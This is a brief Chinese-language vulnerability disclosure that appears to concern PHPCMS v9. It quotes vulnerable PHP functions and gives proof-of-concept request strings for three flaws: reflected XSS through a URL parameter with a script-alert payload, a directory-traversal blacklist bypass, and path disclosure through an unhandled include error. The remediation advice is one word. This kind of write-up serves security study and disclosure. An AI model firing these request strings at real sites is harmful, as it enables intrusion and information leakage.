XSS
public function public_get_suggest_keyword() {
$url = $_GET['url'].'&q='.$_GET['q'];
echo $url;
$res = @file_get_contents($url);
if(CHARSET != 'gbk') {
$res = iconv('gbk', CHARSET, $res);
}
echo $res;
}
利用方法：
?m=search&a=public_get_suggest_keyword&url=http://localhost/&q=1
新建一个名为&q=1的文件 写入<script>alert(/Zvall/)</script>
黑名单过滤：这里只说过滤方式. 这里并没有权限访问
if(!$this->admin_username) return false;
if($_GET['args']) extract(getswfinit($_GET['args']));
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\','..'), '', trim($_GET['dir'])) : '';
$filepath = $this->upload_path.$dir;
$list = glob($filepath.'/'.'*');
if(!empty($list)) rsort($list);
$local = str_replace(array(PC_PATH, PHPCMS_PATH ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('','',DIRECTORY_SEPARATOR), $filepath);
$url = ($dir == '.' || $dir=='') ? $this->upload_url : $this->upload_url.str_replace('.', '', $dir).'/';
$show_header = true;
include $this->admin_tpl('album_dir');
?m=attachment&a=album_dir&dir=.\.\ 用黑名单过滤始终是不可取的
路径泄露
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
return new $classname;
没进行容错处理提交：
?m=../model&c=member_group_model.class
由于member_group_model.class 类不存在 会报错
Fatal error: Class 'member_group_model.class' not found in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/classes/application.class.php on
?m=../../

修复方案：
过滤啊
